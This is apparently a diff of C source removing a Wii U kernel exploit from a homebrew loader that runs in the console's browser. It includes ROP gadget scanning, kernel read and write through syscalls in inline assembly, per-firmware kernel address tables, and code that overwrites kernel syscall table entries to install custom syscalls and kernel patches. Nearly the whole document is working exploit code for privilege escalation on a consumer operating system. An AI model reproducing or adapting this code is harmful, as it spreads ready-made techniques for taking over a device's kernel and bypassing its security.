|
||||
unsigned int(*OSScreenClearBufferEx)(unsigned int bufferNum, unsigned int temp);
|
||||
OSDynLoad_FindExport(coreinit_handle, 0, "OSScreenClearBufferEx", &OSScreenClearBufferEx);
|
||||
uint32_t num = (r << 24) | (g << 16) | (b << 8) | a;
|
||||
OSScreenClearBufferEx(0, num);
|
||||
OSScreenClearBufferEx(1, num);
|
||||
}
|
||||
|
||||
void flipBuffers(unsigned int coreinit_handle)
|
||||
{
|
||||
void(*DCFlushRange)(void *buffer, uint32_t length);
|
||||
unsigned int(*OSScreenFlipBuffersEx)(unsigned int bufferNum);
|
||||
OSDynLoad_FindExport(coreinit_handle, 0, "DCFlushRange", &DCFlushRange);
|
||||
OSDynLoad_FindExport(coreinit_handle, 0, "OSScreenFlipBuffersEx", &OSScreenFlipBuffersEx);
|
||||
unsigned int(*OSScreenGetBufferSizeEx)(unsigned int bufferNum);
|
||||
OSDynLoad_FindExport(coreinit_handle, 0, "OSScreenGetBufferSizeEx", &OSScreenGetBufferSizeEx);
|
||||
//Grab the buffer size for each screen (TV and gamepad)
|
||||
int buf0_size = OSScreenGetBufferSizeEx(0);
|
||||
int buf1_size = OSScreenGetBufferSizeEx(1);
|
||||
//Flush the cache
|
||||
DCFlushRange((void *)0xF4000000 + buf0_size, buf1_size);
|
||||
DCFlushRange((void *)0xF4000000, buf0_size);
|
||||
//Flip the buffer
|
||||
OSScreenFlipBuffersEx(0);
|
||||
OSScreenFlipBuffersEx(1);
|
||||
}
|
||||
|
||||
void printOSScreenMsg(unsigned int coreinit_handle, char *buf,unsigned int pos)
|
||||
{
|
||||
int i;
|
||||
for(i=0;i<2;i++)
|
||||
{
|
||||
fillScreen(coreinit_handle, 0,0,0,0);
|
||||
drawString(coreinit_handle, 0,pos,buf);
|
||||
flipBuffers(coreinit_handle);
|
||||
}
|
||||
}
|
||||
|
||||
void setupOSScreen(unsigned int coreinit_handle)
|
||||
{
|
||||
void(*OSScreenInit)();
|
||||
unsigned int(*OSScreenGetBufferSizeEx)(unsigned int bufferNum);
|
||||
unsigned int(*OSScreenSetBufferEx)(unsigned int bufferNum, void * addr);
|
||||
|
||||
OSDynLoad_FindExport(coreinit_handle, 0, "OSScreenInit", &OSScreenInit);
|
||||
OSDynLoad_FindExport(coreinit_handle, 0, "OSScreenGetBufferSizeEx", &OSScreenGetBufferSizeEx);
|
||||
OSDynLoad_FindExport(coreinit_handle, 0, "OSScreenSetBufferEx", &OSScreenSetBufferEx);
|
||||
|
||||
//Call the Screen initilzation function.
|
||||
OSScreenInit();
|
||||
//Grab the buffer size for each screen (TV and gamepad)
|
||||
int buf0_size = OSScreenGetBufferSizeEx(0);
|
||||
int buf1_size = OSScreenGetBufferSizeEx(1);
|
||||
//Set the buffer area.
|
||||
OSScreenSetBufferEx(0, (void *)0xF4000000);
|
||||
OSScreenSetBufferEx(1, (void *)0xF4000000 + buf0_size);
|
||||
//Clear both framebuffers.
|
||||
int ii;
|
||||
for (ii = 0; ii < 2; ii++)
|
||||
{
|
||||
fillScreen(coreinit_handle, 0,0,0,0);
|
||||
flipBuffers(coreinit_handle);
|
||||
}
|
||||
printOSScreenMsg(coreinit_handle, "OSDriver Kernel Exploit",0);
|
||||
}
|
||||
|
||||
void exitOSScreen(unsigned int coreinit_handle)
|
||||
{
|
||||
void (*_Exit)();
|
||||
OSDynLoad_FindExport(coreinit_handle, 0, "_Exit", &_Exit);
|
||||
//exit only works like this
|
||||
int ii;
|
||||
for(ii = 0; ii < 2; ii++)
|
||||
{
|
||||
fillScreen(coreinit_handle, 0,0,0,0);
|
||||
flipBuffers(coreinit_handle);
|
||||
}
|
||||
_Exit();
|
||||
}
|
||||
|
||||
void callSysExit(unsigned int coreinit_handle, void *sysFunc)
|
||||
{
|
||||
void*(*OSAllocFromSystem)(uint32_t size, int align);
|
||||
bool (*OSCreateThread)(void *thread, void *entry, int argc, void *args, uint32_t stack, uint32_t stack_size, int32_t priority, uint16_t attr);
|
||||
int32_t (*OSResumeThread)(void *thread);
|
||||
int (*OSIsThreadTerminated)(void *thread);
|
||||
|
||||
OSDynLoad_FindExport(coreinit_handle, 0, "OSAllocFromSystem", &OSAllocFromSystem);
|
||||
OSDynLoad_FindExport(coreinit_handle, 0, "OSCreateThread", &OSCreateThread);
|
||||
OSDynLoad_FindExport(coreinit_handle, 0, "OSResumeThread", &OSResumeThread);
|
||||
OSDynLoad_FindExport(coreinit_handle, 0, "OSIsThreadTerminated", &OSIsThreadTerminated);
|
||||
|
||||
uint32_t stack1 = (uint32_t) OSAllocFromSystem(0x300, 0x20);
|
||||
void *thread1 = OSAllocFromSystem(OSTHREAD_SIZE, 8);
|
||||
|
||||
OSCreateThread(thread1, sysFunc, 0, NULL, stack1 + 0x300, 0x300, 0, 0x1A);
|
||||
OSResumeThread(thread1);
|
||||
while(OSIsThreadTerminated(thread1) == 0)
|
||||
{
|
||||
asm volatile (
|
||||
" nop\n"
|
||||
" nop\n"
|
||||
" nop\n"
|
||||
" nop\n"
|
||||
" nop\n"
|
||||
" nop\n"
|
||||
" nop\n"
|
||||
" nop\n"
|
||||
);
|
||||
}
|
||||
}
|
||||
|
||||
/* Simple memcmp() implementation */
|
||||
int memcmp(void *ptr1, void *ptr2, uint32_t length)
|
||||
{
|
||||
uint8_t *check1 = (uint8_t*) ptr1;
|
||||
uint8_t *check2 = (uint8_t*) ptr2;
|
||||
uint32_t i;
|
||||
for (i = 0; i < length; i++)
|
||||
{
|
||||
if (check1[i] != check2[i]) return 1;
|
||||
}
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
void* memcpy(void* dst, const void* src, uint32_t size)
|
||||
{
|
||||
uint32_t i;
|
||||
for (i = 0; i < size; i++)
|
||||
((uint8_t*) dst)[i] = ((const uint8_t*) src)[i];
|
||||
return dst;
|
||||
}
|
||||
|
||||
/* Find a gadget based on a sequence of words */
|
||||
void *find_gadget(uint32_t code[], uint32_t length, uint32_t gadgets_start)
|
||||
{
|
||||
uint32_t *ptr;
|
||||
|
||||
/* Search code before JIT area first */
|
||||
for (ptr = (uint32_t*) gadgets_start; ptr != (uint32_t*) JIT_ADDRESS; ptr++)
|
||||
{
|
||||
if (!memcmp(ptr, &code[0], length)) return ptr;
|
||||
}
|
||||
|
||||
/* Restart search after JIT */
|
||||
for (ptr = (uint32_t*) CODE_ADDRESS_START; ptr != (uint32_t*) CODE_ADDRESS_END; ptr++)
|
||||
{
|
||||
if (!memcmp(ptr, &code[0], length)) return ptr;
|
||||
}
|
||||
|
||||
OSFatal("Gadget not found!");
|
||||
return (void*)0;
|
||||
}
|
||||
|
||||
/* Read a 32-bit word with kernel permissions */
|
||||
uint32_t __attribute__ ((noinline)) kern_read(const void *addr)
|
||||
{
|
||||
uint32_t result;
|
||||
asm volatile (
|
||||
"li 3,1\n"
|
||||
"li 4,0\n"
|
||||
"li 5,0\n"
|
||||
"li 6,0\n"
|
||||
"li 7,0\n"
|
||||
"lis 8,1\n"
|
||||
"mr 9,%1\n"
|
||||
"li 0,0x3400\n"
|
||||
"mr %0,1\n"
|
||||
"sc\n"
|
||||
"nop\n"
|
||||
"mr 1,%0\n"
|
||||
"mr %0,3\n"
|
||||
: "=r"(result)
|
||||
: "b"(addr)
|
||||
: "memory", "ctr", "lr", "0", "3", "4", "5", "6", "7", "8", "9", "10",
|
||||
"11", "12"
|
||||
);
|
||||
|
||||
return result;
|
||||
}
|
||||
|
||||
/* Write a 32-bit word with kernel permissions */
|
||||
void __attribute__ ((noinline)) kern_write(void *addr, uint32_t value)
|
||||
{
|
||||
asm volatile (
|
||||
"li 3,1\n"
|
||||
"li 4,0\n"
|
||||
"mr 5,%1\n"
|
||||
"li 6,0\n"
|
||||
"li 7,0\n"
|
||||
"lis 8,1\n"
|
||||
"mr 9,%0\n"
|
||||
"mr %1,1\n"
|
||||
"li 0,0x3500\n"
|
||||
"sc\n"
|
||||
"nop\n"
|
||||
"mr 1,%1\n"
|
||||
:
|
||||
: "r"(addr), "r"(value)
|
||||
: "memory", "ctr", "lr", "0", "3", "4", "5", "6", "7", "8", "9", "10",
|
||||
"11", "12"
|
||||
);
|
||||
}
|
||||
@ -1,104 +0,0 @@
|
||||
#ifndef KEXPLOIT_H
|
||||
#define KEXPLOIT_H
|
||||
|
||||
#include "structs.h"
|
||||
#include "../../libwiiu/src/types.h"
|
||||
#include "../../libwiiu/src/coreinit.h"
|
||||
#include "../../libwiiu/src/socket.h"
|
||||
|
||||
/* Wait times for CPU0 and CPU2 */
|
||||
#define CPU0_WAIT_TIME 80
|
||||
#define CPU2_WAIT_TIME 92
|
||||
|
||||
/* Gadget finding addresses */
|
||||
#define JIT_ADDRESS 0x01800000
|
||||
#if (VER == 300 || VER == 310)
|
||||
#define CODE_ADDRESS_START 0x0E000000
|
||||
#define CODE_ADDRESS_END 0x10000000
|
||||
#else
|
||||
#define CODE_ADDRESS_START 0x0D800000
|
||||
#define CODE_ADDRESS_END 0x0F848A0C
|
||||
#endif
|
||||
|
||||
/* Kernel addresses, stolen from Chadderz */
|
||||
#define KERN_HEAP 0xFF200000
|
||||
#define KERN_HEAP_PHYS 0x1B800000
|
||||
#if VER == 200
|
||||
#define KERN_SYSCALL_TBL 0xFFE85910
|
||||
#define KERN_CODE_READ 0xFFF02214
|
||||
#define KERN_CODE_WRITE 0xFFF02234
|
||||
#define KERN_ADDRESS_TBL 0xFFEB4E00
|
||||
#define KERN_DRVPTR 0x00000000
|
||||
#elif VER == 210
|
||||
#define KERN_SYSCALL_TBL 0xFFE85910
|
||||
#define KERN_CODE_READ 0xFFF02214
|
||||
#define KERN_CODE_WRITE 0xFFF02234
|
||||
#define KERN_ADDRESS_TBL 0xFFEB4E40
|
||||
#define KERN_DRVPTR 0x00000000
|
||||
#elif VER == 300
|
||||
#define KERN_SYSCALL_TBL 0xFFE85950
|
||||
#define KERN_CODE_READ 0xFFF02214
|
||||
#define KERN_CODE_WRITE 0xFFF02234
|
||||
#define KERN_ADDRESS_TBL 0xFFEB66E4
|
||||
#define KERN_DRVPTR 0x00000000
|
||||
#elif VER == 310
|
||||
#define KERN_SYSCALL_TBL 0xFFE85950
|
||||
#define KERN_CODE_READ 0xFFF02214
|
||||
#define KERN_CODE_WRITE 0xFFF02234
|
||||
#define KERN_ADDRESS_TBL 0xFFEB66E4
|
||||
#define KERN_DRVPTR 0x00000000
|
||||
#elif VER == 400
|
||||
#define KERN_SYSCALL_TBL 0xFFE85890
|
||||
#define KERN_CODE_READ 0xFFF02214
|
||||
#define KERN_CODE_WRITE 0xFFF02234
|
||||
#define KERN_ADDRESS_TBL 0xFFEB7E5C
|
||||
#define KERN_DRVPTR 0x00000000
|
||||
#elif VER == 410
|
||||
#define KERN_SYSCALL_TBL 0xffe85890
|
||||
#define KERN_CODE_READ 0xfff02214
|
||||
#define KERN_CODE_WRITE 0xfff02234
|
||||
#define KERN_ADDRESS_TBL 0xffeb902c
|
||||
#define KERN_DRVPTR 0x00000000
|
||||
#elif VER == 500
|
||||
#define KERN_SYSCALL_TBL 0xffea9520
|
||||
#define KERN_CODE_READ 0xfff021f4
|
||||
#define KERN_CODE_WRITE 0xfff02214
|
||||
#define KERN_ADDRESS_TBL 0xffea9e4c
|
||||
#define KERN_DRVPTR 0x00000000
|
||||
#elif (VER == 532) || (VER == 540)
|
||||
#define KERN_SYSCALL_TBL 0xFFEAA0E0
|
||||
#define KERN_CODE_READ 0xFFF02274
|
||||
#define KERN_CODE_WRITE 0xFFF02294
|
||||
#define KERN_ADDRESS_TBL 0xFFEAAA10
|
||||
#define KERN_DRVPTR (KERN_ADDRESS_TBL - 0x270)
|
||||
#elif VER == 550
|
||||
#define KERN_SYSCALL_TBL 0xFFEAAE60
|
||||
#define KERN_CODE_READ 0xFFF023D4
|
||||
#define KERN_CODE_WRITE 0xFFF023F4
|
||||
#define KERN_ADDRESS_TBL 0xFFEAB7A0
|
||||
#define KERN_DRVPTR (KERN_ADDRESS_TBL - 0x270)
|
||||
#else
|
||||
#error "Unsupported Wii U software version"
|
||||
#endif
|
||||
|
||||
/* Browser PFID */
|
||||
#define PFID_BROWSER 8
|
||||
|
||||
/* Kernel heap constants */
|
||||
#define STARTID_OFFSET 0x08
|
||||
#define METADATA_OFFSET 0x14
|
||||
#define METADATA_SIZE 0x10
|
||||
|
||||
/* Size of a Cafe OS thread */
|
||||
#define OSTHREAD_SIZE 0x1000
|
||||
|
||||
void run_kexploit(private_data_t *private_data);
|
||||
|
||||
/* Find a ROP gadget by a sequence of bytes */
|
||||
void *find_gadget(uint32_t code[], uint32_t length, uint32_t gadgets_start);
|
||||
|
||||
/* Arbitrary read and write syscalls */
|
||||
uint32_t __attribute__ ((noinline)) kern_read(const void *addr);
|
||||
void __attribute__ ((noinline)) kern_write(void *addr, uint32_t value);
|
||||
|
||||
#endif /* KEXPLOIT_H */
|
||||
@ -1,561 +0,0 @@
|
||||
#include "types.h"
|
||||
#include "elf_abi.h"
|
||||
#include "kexploit.h"
|
||||
#include "structs.h"
|
||||
#include "sd_loader.h"
|
||||
|
||||
#define MEM_BASE 0xC0800000
|
||||
#include "../src/common/common.h"
|
||||
#include "../src/common/os_defs.h"
|
||||
#include "../../libwiiu/src/coreinit.h"
|
||||
|
||||
//! this shouldnt depend on OS
|
||||
#define LIB_CODE_RW_BASE_OFFSET 0xC1000000
|
||||
#define CODE_RW_BASE_OFFSET 0xC0000000
|
||||
#define DATA_RW_BASE_OFFSET 0xC0000000
|
||||
|
||||
#if ( (VER == 532) || (VER == 540) )
|
||||
#define ADDRESS_OSTitle_main_entry_ptr 0x1005d180
|
||||
#define ADDRESS_main_entry_hook 0x0101c55c
|
||||
|
||||
#define KERN_SYSCALL_TBL_1 0xFFE84C70 // unknown
|
||||
#define KERN_SYSCALL_TBL_2 0xFFE85070 // works with games
|
||||
#define KERN_SYSCALL_TBL_3 0xFFE85470 // works with loader
|
||||
#define KERN_SYSCALL_TBL_4 0xFFEA9CE0 // works with home menu
|
||||
#define KERN_SYSCALL_TBL_5 0xFFEAA0E0 // works with browser (previously KERN_SYSCALL_TBL)
|
||||
|
||||
#define address_LiWaitIopComplete 0x0100FFA4
|
||||
#define address_LiWaitIopCompleteWithInterrupts 0x0100FE90
|
||||
#define address_LiWaitOneChunk 0x010007EC
|
||||
#define address_PrepareTitle_hook 0xFFF18558
|
||||
#define address_sgIsLoadingBuffer 0xEFE19D00
|
||||
#define address_gDynloadInitialized 0xEFE13C3C
|
||||
|
||||
#elif ( (VER == 500) || (VER == 510) )
|
||||
#define ADDRESS_OSTitle_main_entry_ptr 0x1005CB00
|
||||
#define ADDRESS_main_entry_hook 0x0101C15C
|
||||
|
||||
#define KERN_SYSCALL_TBL_1 0xFFE84C70 // unknown
|
||||
#define KERN_SYSCALL_TBL_2 0xFFE85070 // works with games
|
||||
#define KERN_SYSCALL_TBL_3 0xFFE85470 // works with loader
|
||||
#define KERN_SYSCALL_TBL_4 0xFFEA9120 // works with home menu
|
||||
#define KERN_SYSCALL_TBL_5 0xFFEA9520 // works with browser (previously KERN_SYSCALL_TBL)
|
||||
|
||||
#define address_LiWaitIopComplete 0x0100FBC4
|
||||
#define address_LiWaitIopCompleteWithInterrupts 0x0100FAB0
|
||||
#define address_LiWaitOneChunk 0x010007EC
|
||||
#define address_PrepareTitle_hook 0xFFF18534
|
||||
#define address_sgIsLoadingBuffer 0xEFE19D00
|
||||
#define address_gDynloadInitialized 0xEFE13C3C
|
||||
|
||||
#elif (VER == 550)
|
||||
#define ADDRESS_OSTitle_main_entry_ptr 0x1005E040
|
||||
#define ADDRESS_main_entry_hook 0x0101c56c
|
||||
|
||||
#define KERN_SYSCALL_TBL_1 0xFFE84C70 // unknown
|
||||
#define KERN_SYSCALL_TBL_2 0xFFE85070 // works with games
|
||||
#define KERN_SYSCALL_TBL_3 0xFFE85470 // works with loader
|
||||
#define KERN_SYSCALL_TBL_4 0xFFEAAA60 // works with home menu
|
||||
#define KERN_SYSCALL_TBL_5 0xFFEAAE60 // works with browser (previously KERN_SYSCALL_TBL)
|
||||
|
||||
#define address_LiWaitIopComplete 0x01010180
|
||||
#define address_LiWaitIopCompleteWithInterrupts 0x0101006C
|
||||
#define address_LiWaitOneChunk 0x0100080C
|
||||
#define address_PrepareTitle_hook 0xFFF184E4
|
||||
#define address_sgIsLoadingBuffer 0xEFE19E80
|
||||
#define address_gDynloadInitialized 0xEFE13DBC
|
||||
#elif (VER == 410)
|
||||
#define ADDRESS_OSTitle_main_entry_ptr 0x1005A8C0
|
||||
#define ADDRESS_main_entry_hook 0x0101BD4C
|
||||
|
||||
#define KERN_SYSCALL_TBL_1 0xFFE84C90
|
||||
#define KERN_SYSCALL_TBL_2 0xFFE85090
|
||||
#define KERN_SYSCALL_TBL_3 0xFFE85C90
|
||||
#define KERN_SYSCALL_TBL_4 0xFFE85490
|
||||
#define KERN_SYSCALL_TBL_5 0xFFE85890 // works with browser
|
||||
|
||||
#define address_LiWaitIopComplete 0x0100F78C
|
||||
#define address_LiWaitIopCompleteWithInterrupts 0x0100F678
|
||||
#define address_LiWaitOneChunk 0x010007F8
|
||||
#define address_PrepareTitle_hook 0xFFF166DC
|
||||
#define address_sgIsLoadingBuffer 0xEFE19CC0
|
||||
#define address_gDynloadInitialized 0xEFE13BFC
|
||||
#elif (VER == 400)
|
||||
#define ADDRESS_OSTitle_main_entry_ptr 0x1005A600
|
||||
#define ADDRESS_main_entry_hook 0x0101BD4C
|
||||
|
||||
#define KERN_SYSCALL_TBL_1 0xFFE84C90
|
||||
#define KERN_SYSCALL_TBL_2 0xFFE85090
|
||||
#define KERN_SYSCALL_TBL_3 0xFFE85C90
|
||||
#define KERN_SYSCALL_TBL_4 0xFFE85490
|
||||
#define KERN_SYSCALL_TBL_5 0xFFE85890 // works with browser
|
||||
|
||||
#define address_LiWaitIopComplete 0x0100F78C
|
||||
#define address_LiWaitIopCompleteWithInterrupts 0x0100F678
|
||||
#define address_LiWaitOneChunk 0x010007F8
|
||||
#define address_PrepareTitle_hook 0xFFF15E70
|
||||
#define address_sgIsLoadingBuffer 0xEFE19CC0
|
||||
#define address_gDynloadInitialized 0xEFE13BFC
|
||||
#elif ( (VER == 300) || (VER == 310) )
|
||||
#define ADDRESS_OSTitle_main_entry_ptr 0x1005BBC0
|
||||
#define ADDRESS_main_entry_hook 0x0101894C // used OSDynLoad_Acquire 0x01022CBC from libwiiu to calculate
|
||||
|
||||
#define KERN_SYSCALL_TBL_1 0xFFE84D50
|
||||
#define KERN_SYSCALL_TBL_2 0xFFE85150
|
||||
#define KERN_SYSCALL_TBL_3 0xFFE85D50 // comes after KERN_SYSCALL_TBL_5
|
||||
#define KERN_SYSCALL_TBL_4 0xFFE85550
|
||||
#define KERN_SYSCALL_TBL_5 0xFFE85950
|
||||
#else
|
||||
#error Please define valid values for firmware.
|
||||
#endif // VER
|
||||
|
||||
#define ROOTRPX_DBAT0U_VAL 0xC00003FF
|
||||
#define COREINIT_DBAT0U_VAL 0xC20001FF
|
||||
#if (VER >= 410)
|
||||
#define ROOTRPX_DBAT0L_VAL 0x30000012
|
||||
#define COREINIT_DBAT0L_VAL 0x32000012
|
||||
#elif (VER <= 400)
|
||||
#define ROOTRPX_DBAT0L_VAL 0x4E000012
|
||||
#define COREINIT_DBAT0L_VAL 0x4D000012
|
||||
#else
|
||||
#error Please define valid values for firmware.
|
||||
#endif
|
||||
|
||||
/* Install functions */
|
||||
static void InstallMain(private_data_t *private_data);
|
||||
static void InstallPatches(private_data_t *private_data);
|
||||
static void ExitFailure(private_data_t *private_data, const char *failure);
|
||||
|
||||
static int show_install_menu(unsigned int coreinit_handle, unsigned int *ip_address);
|
||||
static void thread_callback(int argc, void *argv);
|
||||
|
||||
static void SetupKernelSyscall(unsigned int addr);
|
||||
static void KernelCopyData(unsigned int addr, unsigned int src, unsigned int len);
|
||||
|
||||
/* assembly functions */
|
||||
extern void SC_0x25_KernelCopyData(void* addr, void* src, unsigned int len);
|
||||
extern void Syscall_0x36(void);
|
||||
extern void KernelPatches(void);
|
||||
|
||||
/* ****************************************************************** */
|
||||
/* ENTRY POINT */
|
||||
/* ****************************************************************** */
|
||||
void __main(void)
|
||||
{
|
||||
/* Get coreinit handle and keep it in memory */
|
||||
unsigned int coreinit_handle;
|
||||
OSDynLoad_Acquire("coreinit.rpl", &coreinit_handle);
|
||||
|
||||
/* Get our memory functions */
|
||||
unsigned int* functionPointer;
|
||||
void* (*p_memset)(void * dest, unsigned int value, unsigned int bytes);
|
||||
OSDynLoad_FindExport(coreinit_handle, 0, "memset", &p_memset);
|
||||
|
||||
private_data_t private_data;
|
||||
p_memset(&private_data, 0, sizeof(private_data_t));
|
||||
|
||||
private_data.coreinit_handle = coreinit_handle;
|
||||
private_data.memset = p_memset;
|
||||
private_data.data_elf = (unsigned char *) ___sd_loader_sd_loader_elf; // use this address as temporary to load the elf
|
||||
|
||||
OSDynLoad_FindExport(coreinit_handle, 1, "MEMAllocFromDefaultHeapEx", &functionPointer);
|
||||
private_data.MEMAllocFromDefaultHeapEx = (void*(*)(unsigned int, unsigned int))*functionPointer;
|
||||
OSDynLoad_FindExport(coreinit_handle, 1, "MEMFreeToDefaultHeap", &functionPointer);
|
||||
private_data.MEMFreeToDefaultHeap = (void (*)(void *))*functionPointer;
|
||||
|
||||
OSDynLoad_FindExport(coreinit_handle, 0, "memcpy", &private_data.memcpy);
|
||||
OSDynLoad_FindExport(coreinit_handle, 0, "OSEffectiveToPhysical", &private_data.OSEffectiveToPhysical);
|
||||
OSDynLoad_FindExport(coreinit_handle, 0, "DCFlushRange", &private_data.DCFlushRange);
|
||||
OSDynLoad_FindExport(coreinit_handle, 0, "ICInvalidateRange", &private_data.ICInvalidateRange);
|
||||
OSDynLoad_FindExport(coreinit_handle, 0, "_Exit", &private_data._Exit);
|
||||
|
||||
if (private_data.OSEffectiveToPhysical((void *)0xa0000000) == (void *)0)
|
||||
{
|
||||
run_kexploit(&private_data);
|
||||
}
|
||||
else
|
||||
{
|
||||
/* Get functions to send restart signal */
|
||||
int(*IM_Open)();
|
||||
int(*IM_Close)(int fd);
|
||||
int(*IM_SetDeviceState)(int fd, void *mem, int state, int a, int b);
|
||||
void*(*OSAllocFromSystem)(unsigned int size, int align);
|
||||
void(*OSFreeToSystem)(void *ptr);
|
||||
OSDynLoad_FindExport(coreinit_handle, 0, "IM_Open", &IM_Open);
|
||||
OSDynLoad_FindExport(coreinit_handle, 0, "IM_Close", &IM_Close);
|
||||
OSDynLoad_FindExport(coreinit_handle, 0, "IM_SetDeviceState", &IM_SetDeviceState);
|
||||
OSDynLoad_FindExport(coreinit_handle, 0, "OSAllocFromSystem", &OSAllocFromSystem);
|
||||
OSDynLoad_FindExport(coreinit_handle, 0, "OSFreeToSystem", &OSFreeToSystem);
|
||||
|
||||
/* Send restart signal to get rid of uneeded threads */
|
||||
/* Cause the other browser threads to exit */
|
||||
int fd = IM_Open();
|
||||
void *mem = OSAllocFromSystem(0x100, 64);
|
||||
if(!mem)
|
||||
ExitFailure(&private_data, "Not enough memory. Exit and re-enter browser.");
|
||||
|
||||
private_data.memset(mem, 0, 0x100);
|
||||
|
||||
/* Sets wanted flag */
|
||||
IM_SetDeviceState(fd, mem, 3, 0, 0);
|
||||
IM_Close(fd);
|
||||
OSFreeToSystem(mem);
|
||||
|
||||
/* Waits for thread exits */
|
||||
unsigned int t1 = 0x1FFFFFFF;
|
||||
while(t1--) ;
|
||||
|
||||
/* restore kernel memory table to original state */
|
||||
kern_write((void*)(KERN_ADDRESS_TBL + (0x12 * 4)), 0);
|
||||
kern_write((void*)(KERN_ADDRESS_TBL + (0x13 * 4)), 0x14000000);
|
||||
}
|
||||
|
||||
/* Prepare for thread startups */
|
||||
int (*OSCreateThread)(void *thread, void *entry, int argc, void *args, unsigned int stack, unsigned int stack_size, int priority, unsigned short attr);
|
||||
int (*OSResumeThread)(void *thread);
|
||||
int (*OSIsThreadTerminated)(void *thread);
|
||||
|
||||
OSDynLoad_FindExport(coreinit_handle, 0, "OSCreateThread", &OSCreateThread);
|
||||
OSDynLoad_FindExport(coreinit_handle, 0, "OSResumeThread", &OSResumeThread);
|
||||
OSDynLoad_FindExport(coreinit_handle, 0, "OSIsThreadTerminated", &OSIsThreadTerminated);
|
||||
|
||||
/* Allocate a stack for the thread */
|
||||
/* IMPORTANT: libcurl uses around 0x1000 internally so make
|
||||
sure to allocate more for the stack to avoid crashes */
|
||||
void *stack = private_data.MEMAllocFromDefaultHeapEx(0x4000, 0x20);
|
||||
/* Create the thread variable */
|
||||
void *thread = private_data.MEMAllocFromDefaultHeapEx(0x1000, 8);
|
||||
if(!thread || !stack)
|
||||
ExitFailure(&private_data, "Thread memory allocation failed. Exit and re-enter browser.");
|
||||
|
||||
// the thread stack is too small on current thread, switch to an own created thread
|
||||
// create a detached thread with priority 0 and use core 1
|
||||
int ret = OSCreateThread(thread, thread_callback, 1, (void*)&private_data, (unsigned int)stack+0x4000, 0x4000, 0, 0x1A);
|
||||
if (ret == 0)
|
||||
ExitFailure(&private_data, "Failed to create thread. Exit and re-enter browser.");
|
||||
|
||||
/* Schedule it for execution */
|
||||
OSResumeThread(thread);
|
||||
|
||||
// Keep this main thread around for ELF loading
|
||||
// Can not use OSJoinThread, which hangs for some reason, so we use a detached one and wait for it to terminate
|
||||
while(OSIsThreadTerminated(thread) == 0)
|
||||
{
|
||||
asm volatile (
|
||||
" nop\n"
|
||||
" nop\n"
|
||||
" nop\n"
|
||||
" nop\n"
|
||||
" nop\n"
|
||||
" nop\n"
|
||||
" nop\n"
|
||||
" nop\n"
|
||||
);
|
||||
}
|
||||
|
||||
/* setup kernel copy data syscall */
|
||||
kern_write((void*)(KERN_SYSCALL_TBL_5 + (0x25 * 4)), (unsigned int)KernelCopyData);
|
||||
|
||||
/* Install our code now */
|
||||
InstallMain(&private_data);
|
||||
|
||||
/* setup our own syscall and call it */
|
||||
SetupKernelSyscall((unsigned int)KernelPatches);
|
||||
Syscall_0x36();
|
||||
|
||||
/* Patch functions and our code for usage */
|
||||
InstallPatches(&private_data);
|
||||
|
||||
/* Free thread memory and stack */
|
||||
private_data.MEMFreeToDefaultHeap(thread);
|
||||
private_data.MEMFreeToDefaultHeap(stack);
|
||||
|
||||
//! we are done -> exit browser now
|
||||
private_data._Exit(0);
|
||||
}
|
||||
|
||||
void ExitFailure(private_data_t *private_data, const char *failure)
|
||||
{
|
||||
/************************************************************************/
|
||||
// Prepare screen
|
||||
void (*OSScreenInit)();
|
||||
unsigned int (*OSScreenGetBufferSizeEx)(unsigned int bufferNum);
|
||||
unsigned int (*OSScreenSetBufferEx)(unsigned int bufferNum, void * addr);
|
||||
unsigned int (*OSScreenClearBufferEx)(unsigned int bufferNum, unsigned int temp);
|
||||
unsigned int (*OSScreenFlipBuffersEx)(unsigned int bufferNum);
|
||||
unsigned int (*OSScreenPutFontEx)(unsigned int bufferNum, unsigned int posX, unsigned int posY, const char * buffer);
|
||||
|
||||
OSDynLoad_FindExport(private_data->coreinit_handle, 0, "OSScreenInit", &OSScreenInit);
|
||||
OSDynLoad_FindExport(private_data->coreinit_handle, 0, "OSScreenGetBufferSizeEx", &OSScreenGetBufferSizeEx);
|
||||
OSDynLoad_FindExport(private_data->coreinit_handle, 0, "OSScreenSetBufferEx", &OSScreenSetBufferEx);
|
||||
OSDynLoad_FindExport(private_data->coreinit_handle, 0, "OSScreenClearBufferEx", &OSScreenClearBufferEx);
|
||||
OSDynLoad_FindExport(private_data->coreinit_handle, 0, "OSScreenFlipBuffersEx", &OSScreenFlipBuffersEx);
|
||||
OSDynLoad_FindExport(private_data->coreinit_handle, 0, "OSScreenPutFontEx", &OSScreenPutFontEx);
|
||||
|
||||
// Prepare screen
|
||||
int screen_buf0_size = 0;
|
||||
int screen_buf1_size = 0;
|
||||
unsigned int screen_color = 0; // (r << 24) | (g << 16) | (b << 8) | a;
|
||||
|
||||
// Init screen and screen buffers
|
||||
OSScreenInit();
|
||||
screen_buf0_size = OSScreenGetBufferSizeEx(0);
|
||||
screen_buf1_size = OSScreenGetBufferSizeEx(1);
|
||||
OSScreenSetBufferEx(0, (void *)0xF4000000);
|
||||
OSScreenSetBufferEx(1, (void *)0xF4000000 + screen_buf0_size);
|
||||
|
||||
// Clear screens
|
||||
OSScreenClearBufferEx(0, screen_color);
|
||||
OSScreenClearBufferEx(1, screen_color);
|
||||
|
||||
// Flush the cache
|
||||
private_data->DCFlushRange((void *)0xF4000000, screen_buf0_size);
|
||||
private_data->DCFlushRange((void *)0xF4000000 + screen_buf0_size, screen_buf1_size);
|
||||
|
||||
// Flip buffers
|
||||
OSScreenFlipBuffersEx(0);
|
||||
OSScreenFlipBuffersEx(1);
|
||||
|
||||
OSScreenPutFontEx(1, 0, 0, failure);
|
||||
|
||||
OSScreenFlipBuffersEx(1);
|
||||
OSScreenClearBufferEx(1, 0);
|
||||
|
||||
unsigned int t1 = 0x3FFFFFFF;
|
||||
while(t1--) asm volatile("nop");
|
||||
|
||||
private_data->_Exit(0);
|
||||
}
|
||||
|
||||
/* *****************************************************************************
|
||||
* Base functions
|
||||
* ****************************************************************************/
|
||||
static void SetupKernelSyscall(unsigned int address)
|
||||
{
|
||||
// Add syscall #0x36
|
||||
kern_write((void*)(KERN_SYSCALL_TBL_5 + (0x36 * 4)), address);
|
||||
|
||||
// make kern_read/kern_write available in all places
|
||||
kern_write((void*)(KERN_SYSCALL_TBL_1 + (0x34 * 4)), KERN_CODE_READ);
|
||||
kern_write((void*)(KERN_SYSCALL_TBL_2 + (0x34 * 4)), KERN_CODE_READ);
|
||||
kern_write((void*)(KERN_SYSCALL_TBL_3 + (0x34 * 4)), KERN_CODE_READ);
|
